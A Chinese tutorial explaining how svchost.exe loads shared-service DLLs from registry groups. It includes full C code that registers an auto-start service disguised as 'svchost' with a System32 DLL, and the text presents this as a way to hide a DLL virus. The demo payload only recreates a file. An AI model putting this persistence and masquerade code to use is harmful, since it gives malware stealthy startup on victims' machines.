1. svchost的由来
Windows系统服务现在可以分为独立进程和共享进程
在windows Nt中, 只有服务管理器SCM(service.exe)有多个共享服务. 随着系统的服务增加,为了增强系统性能于是
在windows2000开始将很多服务做成共享方式并且由svchost.exe启动
svchost.exe本身并不实现任何服务功能,但是需要成为服务的dll可以由svchost加载成为服务.这些dll内部需要实现一个名为ServiceMain的函数
例如, windows中有个特殊的服务名为:RPCss 远程过程调用服务在注册表中如下:
HKEY_LOCAL_MACHINE\system\currentcontrolset\services\RpcSs, RpcSs是个服务, 它下面有个Parameters子健. 它的ServiceDll的值
指出了它的dll文件,RpcSs子健的imagedll值指出了svchost.exe
此外, windows将这些服务通过分组, 每组中的服务由一个svchost进程来负责. 因此会有多个svchost进程出现.
svchost.exe负责的所有服务组合服务与此键下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
于是在启动一个svchost负责的服务时如果目标服务属于已经启动的服务组的svchost,那么那个svchost进程将加载服务对应的dll,而不会再创建一个svchost进程
2.svchost 加载服务原理
(1). 它的入口函数先对命令行进行分析,获取所属的服务组名字根据服务组名在HKEY_LOCAL_MACHINE\system\currentcontrolset\services\服务组名
的子键下的所有服务.
(2).将服务组中的服务名保存起来后,创建SERVICE_TABLE_ENTRYW 数组, 这些服务名对应的服务入口函数都是svchost实现的一个子函数
(3).调用StartServiceCtrlDispatcher API注册这些服务的调用函数, 然后svchost主线程等待scm启动服务的命令
(4).当scm调用svchost的被注册的子函数时,将服务名作为参数传递进去,然后svchost会根据之前保存的服务名组查找该服务名,如果是在其中就根据
其对应的HKEY_LOCAL_MACHINE\system\currentcontrolset\services\服务名\ 下查找parameters下的键值,并将对应的dll加载到svchost
进程中.然后将服务名作为参数传递到它的ServiceMain函数中.
综上,骇客们完全可以写一个dll实现服务的功能让 svchost加载. 实现很隐蔽的dll病毒.
接下来用这个方式实现在c盘根目录创建一个文件,且每隔一秒检查是否被删除,如果删除了就重新创建
3.创建服务代码部分
#include "stdafx.h" #define serviceName "svchost" #define WserviceName L"svchost" HANDLE g_hModule = 0; SERVICE_STATUS_HANDLE hStatus = 0; SERVICE_STATUS ss = { 0 }; DWORD exit=0; DWORD Install(WCHAR* modulePath) { SC_HANDLE hScm = 0; SC_HANDLE hSer = 0; char groupName[] = "svctest"; char fullPath[128] = { 0 }; //WCHAR modulePath[MAX_PATH] = { 0 }; HKEY hMainKey = HKEY_LOCAL_MACHINE; HKEY hSubKey = 0,htemp; DWORD result, lpcbMaxValueLen, valueType, valueSize,dtemp; BYTE * value; result = RegOpenKeyExW(hMainKey, L"software\\microsoft\\windows nt\\currentversion\\svchost", 0, KEY_SET_VALUE | KEY_QUERY_VALUE, &hSubKey); if (result!=ERROR_SUCCESS) { return result; } RegQueryInfoKeyW(hSubKey, 0, 0, 0, 0, 0, 0, 0, 0, &lpcbMaxValueLen, 0, 0); value = (BYTE*)malloc(lpcbMaxValueLen+24); memset(value, 0, lpcbMaxValueLen + 24); valueSize = lpcbMaxValueLen + 24; result = RegQueryValueExA(hSubKey, groupName, 0, &valueType, value, &valueSize); //找服务组,如果找到则在找是否本服务已加入,没有就加入否则退出, 如果没有找到服务组则创建服务组并向该 //服务组添加本服务 if (result==ERROR_SUCCESS) //找到服务组 { memcpy(value + valueSize - 1, serviceName,strlen(serviceName)+1); memset(value+valueSize+strlen(serviceName),0,1); //RegSetValueExW 如果值名不存在则添加,然后写入数据,注意写入数据的格式REG_MULTI_SZ与长度 result = RegSetValueExA(hSubKey, groupName, 0, REG_MULTI_SZ, (BYTE*)value, valueSize+strlen(serviceName)+1); free(value); RegCloseKey(hSubKey); } else { memcpy(value,serviceName,strlen(serviceName)+1); memset(value+strlen(serviceName)+1,0,1); valueSize=strlen(serviceName)+2; //RegSetValueExW 如果值名不存在则添加,然后写入数据,注意写入数据的格式REG_MULTI_SZ与长度 result = RegSetValueExA(hSubKey, groupName, 0, REG_MULTI_SZ, (BYTE*)value, valueSize); free(value); RegCloseKey(hSubKey); } if (result!=ERROR_SUCCESS) { return 0; } //打开服务管理器 hScm = OpenSCManagerW(0, 0, SC_MANAGER_ALL_ACCESS); if (hScm == 0) { wprintf(L"OpenSCManagerW error code is %d\n", GetLastError()); return 0; } sprintf(fullPath, "c:\\windows\\system32\\svchost.exe -k %s", groupName); //创建该服务 hSer = CreateServiceA(hScm, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, fullPath, 0, 0, 0, 0, 0); if (hSer == 0) { wprintf(L"CreateServiceW error code is %d\n", GetLastError()); CloseServiceHandle(hScm); return 0; } if (hSer) CloseServiceHandle(hSer); if (hScm) CloseServiceHandle(hScm); sprintf(fullPath, "system\\currentcontrolset\\services\\%s", serviceName); //服务创建成功,这里就会打开 result = RegOpenKeyExA(hMainKey, fullPath, 0, KEY_ALL_ACCESS, &hSubKey); if (result!=ERROR_SUCCESS) { return 0; } //添加Parameters键 result = RegCreateKeyExW(hSubKey, L"Parameters", 0, 0, 0, KEY_ALL_ACCESS, 0, &htemp ,&dtemp); if (result != ERROR_SUCCESS) { RegCloseKey(hSubKey); return 0; }//给Parameters键添加值名ServiceDll, 数据就是dll路径 result = RegSetValueExW(htemp, L"ServiceDll", 0, REG_EXPAND_SZ, (PBYTE)modulePath, wcslen(modulePath) * sizeof(WCHAR) + 2); RegCloseKey(hSubKey); RegCloseKey(htemp); return 1; } void wmain() { Install(L"%SystemRoot%\\System32\\svchost.dll"); }
4.dll服务程序代码部分:
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #define serviceName L"svchost" #include <windows.h> #include <wchar.h> #include <stdio.h> #include <stdlib.h> #include <malloc.h> HANDLE g_hModule = 0; SERVICE_STATUS_HANDLE hStatus = 0; SERVICE_STATUS ss ; DWORD aexit; VOID WINAPI handler(DWORD code); BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { g_hModule = hModule; return TRUE; } void WINAPI ServiceMain(int argv, wchar_t * argc[]) { //初始化 HANDLE file; aexit=0; ss.dwServiceType = SERVICE_WIN32_SHARE_PROCESS; ss.dwCurrentState = SERVICE_STOPPED; // 设置服务可以使用的控制 // 如果希望服务启动后不能停止,去掉SERVICE_ACCEPT_STOP // SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续” ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN; ss.dwWin32ExitCode = 0; ss.dwServiceSpecificExitCode = 0; ss.dwCheckPoint = 0; ss.dwWaitHint = 0; hStatus = RegisterServiceCtrlHandlerW(argc[0], handler); if (hStatus==0) { return; } //设置为启动状态 ss.dwCurrentState = SERVICE_START_PENDING; SetServiceStatus(hStatus, &ss); ss.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(hStatus, &ss); //服务运行循环 while (1) { Sleep(1000); MessageBeep(0); if (aexit==1) { break; } file = CreateFileA("C:\\1.txt", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_NEW, 0, 0); if (file != 0 && file != INVALID_HANDLE_VALUE) { CloseHandle(file); } } //服务循环退出后将设置退出状态 ss.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hStatus, &ss); } VOID WINAPI handler(DWORD code) { switch (code) { case SERVICE_CONTROL_STOP: ss.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus(hStatus, &ss); ss.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hStatus, &ss); aexit = 1; OutputDebugString(L"[hijack] service is stopped..."); break; case SERVICE_CONTROL_PAUSE: ss.dwCurrentState = SERVICE_PAUSE_PENDING; SetServiceStatus(hStatus, &ss); ss.dwCurrentState = SERVICE_PAUSED; SetServiceStatus(hStatus, &ss); OutputDebugString(L"[hijack] service is PAUSE..."); break; case SERVICE_CONTROL_CONTINUE: ss.dwCurrentState = SERVICE_CONTINUE_PENDING; SetServiceStatus(hStatus, &ss); ss.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(hStatus, &ss); OutputDebugString(L"[hijack] service is CONTINUE..."); break; case SERVICE_CONTROL_SHUTDOWN: ss.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus(hStatus, &ss); ss.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(hStatus, &ss); aexit = 1; OutputDebugString(L"[hijack] service is stopped..."); break; default: break; } }